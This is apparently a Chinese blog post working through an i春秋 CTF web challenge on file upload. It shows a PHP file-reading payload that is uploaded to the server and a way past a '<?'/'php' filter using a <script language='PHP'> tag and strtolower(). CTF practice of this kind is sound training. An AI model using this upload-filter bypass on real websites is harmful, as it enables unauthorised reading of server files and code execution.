1. 程式人生 > 實用技巧 >喬悟空-CTF-i春秋-Web-Upload

喬悟空-CTF-i春秋-Web-Upload

2020.09.03

ai 做過的題,兩天不看就忘了……

做題

題目

題目地址

thinking……

  1. 開啟網站

  2. 告訴了檔案在flag.php中,所以寫個php,把flag.php檔案讀取出來就行
    盜來的php

<?php 
    $ctx = stream_context_create(array( 
        'http' => array( 
            'timeout' => 1    //設定超時
            ) 
        ) 
    ); 
    echo file_get_contents("flag.php", 0, $ctx); 
?>

這裡一開始直接在連線後邊訪問上傳的檔案,訪問不到……後來發現是上傳到/u目錄下了……

訪問輸出:

很明顯能看出來這是把php的頭給過濾了,然後找到了以下程式碼來代替

  1. 繞過php<?過濾

程式碼如下:

<script language='PHP'>
    echo file_get_contents("../flag.".strtolower("PHP")); 
</script>

經過測試,有幾點要說:
- 上邊我本來把flag.php改成flag.pHp,但是並不能成功,說明檔案系統對檔案字尾名也是有區分的。
- 檔案被上傳的路徑可以通過表單原始碼進行檢視
- ../

就是上一層目錄下的檔案

  1. 結果

總結

  1. php讀取檔案的幾種方式
    • fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
    • 詳細連結
  2. <?被過濾,用script標籤來繞過
  3. php被過濾,用大寫來繞過,可以用strtolower()來變成小寫
  4. 伺服器中檔案,字尾名大小寫也會有影響